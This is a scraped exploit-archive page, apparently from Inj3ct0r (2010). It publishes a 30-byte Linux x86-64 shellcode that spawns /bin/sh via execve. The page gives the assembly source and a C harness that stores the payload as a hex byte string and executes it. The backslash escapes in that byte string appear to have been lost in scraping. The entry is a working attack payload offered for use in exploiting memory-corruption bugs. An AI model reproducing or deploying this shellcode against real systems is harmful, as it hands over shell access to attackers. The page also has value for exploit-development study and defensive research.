Home / os / win7

linux/x86-64 execve("/bin/sh"); 30 bytes shellcode

Posted on 25 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86-64 execve(&quot;/bin/sh&quot;); 30 bytes shellcode</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================== linux/x86-64 execve(&quot;/bin/sh&quot;); 30 bytes shellcode ================================================== # Linux/x86_64 execve(&quot;/bin/sh&quot;); 30 bytes shellcode # Date: 2010-04-26 # Author: zbt # Tested on: x86_64 Debian GNU/Linux /* ; execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;], NULL) section .text global _start _start: xor rdx, rdx mov qword rbx, '//bin/sh' shr rbx, 0x8 push rbx mov rdi, rsp push rax push rdi mov rsi, rsp mov al, 0x3b syscall */ int main(void) { char shellcode[] = &quot;x48x31xd2&quot; // xor %rdx, %rdx &quot;x48xbbx2fx2fx62x69x6ex2fx73x68&quot; // mov $0x68732f6e69622f2f, %rbx &quot;x48xc1xebx08&quot; // shr $0x8, %rbx &quot;x53&quot; // push %rbx &quot;x48x89xe7&quot; // mov %rsp, %rdi &quot;x50&quot; // push %rax &quot;x57&quot; // push %rdi &quot;x48x89xe6&quot; // mov %rsp, %rsi &quot;xb0x3b&quot; // mov $0x3b, %al &quot;x0fx05&quot;; // syscall (*(void (*)()) shellcode)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP